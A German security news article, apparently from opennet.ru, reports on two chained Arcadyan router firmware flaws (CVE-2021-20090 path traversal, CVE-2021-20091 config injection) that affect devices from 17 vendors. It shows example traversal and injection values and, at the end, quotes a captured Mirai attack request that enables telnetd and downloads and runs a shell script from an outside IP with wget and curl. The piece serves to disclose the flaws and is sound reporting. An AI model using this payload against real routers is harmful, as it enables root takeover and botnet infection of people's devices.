Sicherheitsanfälligkeit bei Heimroutern, die 17 Hersteller betrifft

Im Netzwerk wurde ein massiver Angriff auf Heimrouter festgestellt, in deren Firmware die HTTP-Server-Implementierung von Arcadyan verwendet wird. Zur Übernahme der Kontrolle über die Geräte wird eine Kombination aus zwei Schwachstellen genutzt, die es ermöglicht, beliebigen Code mit Root-Rechten remote auszuführen. Das Problem betrifft eine Vielzahl von ADSL-Routern von Arcadyan, ASUS und Buffalo sowie Geräten, die unter den Marken Beeline (das Problem wurde im Smart Box Flash bestätigt), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone und anderen Telekommunikationsanbietern angeboten werden. Es wird darauf hingewiesen, dass das Problem in Arcadyan-Firmware bereits seit mehr als 10 Jahren besteht und in dieser Zeit in mindestens 20 Modelle von 17 verschiedenen Herstellern übernommen wurde.

Die erste Sicherheitsanfälligkeit CVE-2021-20090 ermöglicht den Zugriff auf jedes Skript der Webschnittstelle, ohne sich authentifizieren zu müssen. Der Kern der Schwachstelle liegt darin, dass in der Webschnittstelle einige Verzeichnisse, über die Bilder, CSS-Dateien und JavaScript-Skripte bereitgestellt werden, ohne Authentifizierung zugänglich sind. Dabei erfolgt die Überprüfung der Verzeichnisse, für die der Zugriff ohne Authentifizierung erlaubt ist, anhand des bestimmten Musters. Die Angabe von Zeichen wie „..\/“ in den Pfaden zum Wechseln in das übergeordnete Verzeichnis wird durch die Firmware blockiert, aber die Verwendung der Kombination „..“ wird durchgelassen. Somit besteht die Möglichkeit, geschützte Seiten zu öffnen, indem Anfragen wie „http:\/\/192.168.1.1\/images\/..index.htm“ gesendet werden.

Die zweite Sicherheitsanfälligkeit CVE-2021-20091 erlaubt einem authentifizierten Benutzer, Änderungen an den Systemeinstellungen des Geräts vorzunehmen, indem er speziell formatierte Parameter an das Skript apply_abstract.cgi sendet, das die Überprüfung des Vorhandenseins eines Zeilenumbruchs in den Parametern nicht durchführt. Beispielsweise kann ein Angreifer bei der Ausführung des Ping-Befehls im Feld für die zu prüfende IP-Adresse den Wert „192.168.1.2ARC_SYS_TelnetdEnable=1“ angeben, und das Skript wird beim Erstellen der Datei mit den Einstellungen /tmp/etc/config/.glbcfg die Zeile „AARC_SYS_TelnetdEnable=1“ einfügen, die aktiviert. Server telnetd, das uneingeschränkten Zugriff auf die Shell mit Root-Rechten gewährt. Ebenso kann durch Setzen des Parameters AARC_SYS beliebiger Code im System ausgeführt werden. Die erste Sicherheitsanfälligkeit ermöglicht das Ausführen des fehlerhaften Skripts ohne Authentifizierung, indem man es als „\/images\/..apply_abstract.cgi“ anruft.

Um Schwachstellen auszunutzen, muss der Angreifer die Möglichkeit haben, eine Anfrage an den Netzwerkport zu senden, an dem das Web-Interface läuft. Angesichts der Dynamik der Angriffsverbreitung lassen viele Anbieter den Zugang zu ihren Geräten aus dem externen Netzwerk zu, um die Diagnose von Problemen durch den Support zu erleichtern. Wenn der Zugang zum Interface nur für das interne Netzwerk eingeschränkt ist, kann der Angriff aus dem externen Netzwerk mittels der Technik „DNS-Rebinding“ erfolgen. Schwachstellen werden bereits aktiv genutzt, um Router mit dem Botnetz Mirai zu verbinden: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+\/tmp; wget+http:\/\/212.192.241.72\/lolol.sh; curl+-O+http:\/\/212.192.241.72\/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

Quelle: opennet.ru